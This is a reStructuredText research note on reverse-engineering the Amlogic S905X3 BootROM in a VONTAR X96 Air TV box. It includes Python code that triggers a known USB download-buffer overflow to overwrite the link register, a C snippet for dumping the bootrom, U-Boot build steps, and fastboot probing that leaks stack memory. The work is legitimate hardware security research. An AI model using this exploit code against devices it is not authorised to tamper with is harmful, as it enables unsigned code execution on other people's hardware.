174 lines
8.7 KiB
ReStructuredText
174 lines
8.7 KiB
ReStructuredText
==============
|
||
BootROM S905X3
|
||
==============
|
||
For the binaries of the BootROM, please refer to the following link:
|
||
https://git.herreweb.nl/EljakimHerrewijnen/Bootrom_collections
|
||
|
||
Also the ghidra server will contain an Amlogic Project(when I have set it up).
|
||
|
||
This Amlogic processor is in a lot of Android TV boxes, which you can buy on marketplaces like Aliexpress.
|
||
These devices are fun to buy because they are cheap but have quite a lot of pheriperals and features, which you would usually not have in a development board.
|
||
|
||
The device used in here is the ``VONTAR X96 Air`` whic is `available on aliexpress <https://nl.aliexpress.com/item/4000218231701.html?spm=a2g0o.order_list.order_list_main.140.21ef79d2UAsDbQ&gatewayAdapt=glo2nld>`_.
|
||
|
||
This device has the following features:
|
||
|
||
* 4GB LPDDR4 RAM
|
||
* 64GB eMMC storage
|
||
* 1000Mbit ethernet
|
||
* Wifi & Bluetooth
|
||
|
||
Bootrom Exploit
|
||
===============
|
||
There is already a bootrom vulnerability for this SoC family, which was published on `fred's blog <https://fredericb.info/2021/02/amlogic-usbdl-unsigned-code-loader-for-amlogic-bootrom.html>`_.
|
||
This vulnerability has not yet been exploited on this specific SoC type, so let's first exploit it.
|
||
|
||
Let's first take a look at the memory layout used by the SoC
|
||
|
||
.. drawio-image:: soc_memory_1.drawio
|
||
:export-scale: 150
|
||
|
||
According to the documentation from fred's notes, the vulnerability is in the handling of the **REQ_WR_LARGE_MEM** command.
|
||
This command does not check if we send empty transfers and due to this we can overflow the download buffer and overwrite our ``Link Register (LR)``.
|
||
|
||
To check if this vulnerability is present we will first see if we can crash the device. We do this by trying to overflow a large portion of the download buffer and to send payloads with valid pointers to the start of the bootrom.
|
||
We should be able to send at least 64kb of data to the download buffer, if we can overflow the first part we should at some point get a crash and have an indication of where the stack is located on the target device.
|
||
|
||
The code to do this is here:
|
||
|
||
.. code-block:: python
|
||
|
||
def test_vulnerability():
|
||
device = AmlogicDevice()
|
||
controlData = pack('<IIII', D_BUFFER_START, D_BUFFER_MAX, 0, 0)
|
||
device.dev.ctrl_transfer(bmRequestType = 0x40,
|
||
bRequest = REQ_WR_LARGE_MEM,
|
||
wValue = BULK_TRANSFER_SIZE,
|
||
wIndex = 100000,
|
||
data_or_wLength = controlData)
|
||
|
||
guess_overflow = 1070 # 0xfffe3688 on a reference device, which is 1078 empty buffers ((0xfffe3688 - D_BUFFER_START) // BULK_TRANSFER_SIZE)
|
||
for i in range(guess_overflow):
|
||
device.usb_write(b"")
|
||
|
||
overflow_addr = D_BUFFER_START + (guess_overflow * BULK_TRANSFER_SIZE)
|
||
payload = struct.pack("<Q", BOOTROM_START) * (BULK_TRANSFER_SIZE // 8)
|
||
while True:
|
||
device.usb_write(payload)
|
||
info(f"Overflowing: {hex(overflow_addr)}")
|
||
|
||
# Results in:
|
||
# [i] Overflowing: 0xfffe2e00
|
||
|
||
The result of this code is that the device crashes at overflow address **0xfffe2e00**, meaning we are probably overwriting the stack here.
|
||
|
||
This overflow can now be visualised as follows:
|
||
|
||
.. drawio-image:: soc_memory_overflow.drawio
|
||
:export-scale: 150
|
||
|
||
github
|
||
******
|
||
As it turns out, someone else has already exploited this vulnerability, this code can be found `on github <https://github.com/Raxone/amlogic-usbdl_s905x3>`_. This is why it is always good to do a thorough research on existing research when starting a new project.
|
||
|
||
Dumping the bootrom
|
||
*******************
|
||
|
||
Using the above code and reference code from uboot we can attach the debugger to this device. We need to implement send/receive, however with only a functioning send we can already know that the debugger is living and we first want to dump the bootrom.
|
||
|
||
One of the *currently* missing functionalities is something to run code on the first boot/setup of the GA, since it assumes peek/poke is already setup. This might be something we will need to change in the future. We can dump the bootrom with the following code:
|
||
|
||
.. code-block:: c
|
||
|
||
void recv_data(void *data, uint32_t len) {
|
||
//Dump bootrom
|
||
uint32_t tx = 0;
|
||
send((void *)0xFFFF0000, 0x10000, &tx);
|
||
}
|
||
|
||
U-Boot
|
||
======
|
||
To get more insight into some ``BootROM`` functions, we can build ``U-Boot``. This is an opensource and widely used bootloader.
|
||
A lot of functionalities are copied into the ``BootROM``, meaning that we could try to get some structures and functions from ``U-Boot`` into Ghidra.
|
||
|
||
To do this we will have to build ``U-Boot`` with symbols, then create a symbol database from ``U-Boot`` into Ghidra and use that database to find and rename functions in the ``BootROM``
|
||
|
||
Build U-Boot
|
||
************
|
||
To build U-Boot you will need:
|
||
|
||
* a gcc-aarch64 compiler (sudo apt install gcc-aarch64-linux-gnu)
|
||
* bison (sudo apt install bison)
|
||
* flex (sudo apt install flex)
|
||
|
||
.. code:: console
|
||
|
||
$ git clone https://source.denx.de/u-boot/u-boot.git
|
||
$ export CROSS_COMPILE=aarch64-linux-gnu-
|
||
$ export ARCH=arm64
|
||
$ make sei610_defconfig
|
||
$ make -j2
|
||
|
||
Implementing USB
|
||
****************
|
||
|
||
.. include:: emulation.rst
|
||
|
||
|
||
Fastboot
|
||
********
|
||
Commands available on Chromecast device:
|
||
|
||
getvar
|
||
------
|
||
|
||
.. code-block:: python
|
||
|
||
amlogic.usb_write(b"getvar:version")
|
||
d = amlogic.usb_read(0x200)
|
||
d
|
||
b'OKAY0.1\x00downloadsize\x000x\x00max-download-size\x00serialno\x00product\x00AMLOGIC\x00i\x00'
|
||
d.decode()
|
||
'OKAY0.1\x00downloadsize\x000x\x00max-download-size\x00serialno\x00product\x00AMLOGIC\x00i\x00'
|
||
print(d.decode())
|
||
OKAY0.1 downloadsize 0x max-download-size serialno product AMLOGIC i
|
||
|
||
amlogic.usb_write(b"getvar:downloadsize")
|
||
hexdump(amlogic.usb_read(0x200))
|
||
┌─────────────────────────────────────────────────┬──────────────────┐
|
||
0x00000000 │ 4f 4b 41 59 30 78 30 30 30 32 39 38 30 30 00 6c │ OKAY0x00029800.l │
|
||
0x00000010 │ 6f 61 64 2d 73 69 7a 65 00 73 65 72 69 61 6c 6e │ oad-size.serialn │
|
||
0x00000020 │ 6f 00 70 72 6f 64 75 63 74 00 41 4d 4c 4f 47 49 │ o.product.AMLOGI │
|
||
0x00000030 │ 43 00 69 64 65 6e 74 69 66 79 00 67 65 74 63 68 │ C.identify.getch │
|
||
0x00000040 │ 69 70 69 6e 00 │ ipin. │
|
||
└─────────────────────────────────────────────────┴──────────────────┘
|
||
|
||
amlogic.usb_write(b"getvar:serialno")
|
||
hexdump(amlogic.usb_read(0x200))
|
||
┌─────────────────────────────────────────────────┬──────────────────┐
|
||
0x00000000 │ 4f 4b 41 59 38 30 64 39 63 33 30 38 38 38 39 31 │ OKAY80d9c3088891 │
|
||
0x00000010 │ 32 65 31 62 30 30 30 30 30 30 30 30 00 00 00 00 │ 2e1b00000000.... │
|
||
0x00000020 │ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │ ................ │
|
||
0x00000030 │ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │ ................ │
|
||
0x00000040 │ 00 00 00 00 00 │ ..... │
|
||
└─────────────────────────────────────────────────┴──────────────────┘
|
||
|
||
Max number of arguments is 0xb?
|
||
|
||
Seems we dump something from the stack when doing the getvar:identify command
|
||
|
||
.. code-block:: python
|
||
|
||
amlogic.usb_write(b"getvar:identify:::::identify")
|
||
hexdump(amlogic.usb_read(0x200))
|
||
┌─────────────────────────────────────────────────┬──────────────────┐
|
||
0x00000000 │ 4f 4b 41 59 06 00 00 00 01 00 00 0f 00 b1 02 f7 │ OKAY............ │
|
||
0x00000010 │ 00 00 00 00 00 00 00 00 00 00 00 00 20 ee 02 f7 │ ............ ... │
|
||
0x00000020 │ 00 00 00 00 a8 44 ff ff 00 00 00 00 48 c1 02 f7 │ .....D......H... │
|
||
0x00000030 │ 00 00 00 00 a4 30 ff ff 00 00 00 00 b0 ee 02 f7 │ .....0.......... │
|
||
0x00000040 │ 00 00 00 00 00 │ ..... │
|
||
└─────────────────────────────────────────────────┴──────────────────┘
|
||
|
||
Using multiple commands it's possible to *somewhat* influence what we dump from the stack.
|
||
|
||
Download size seems to be 0x29800 |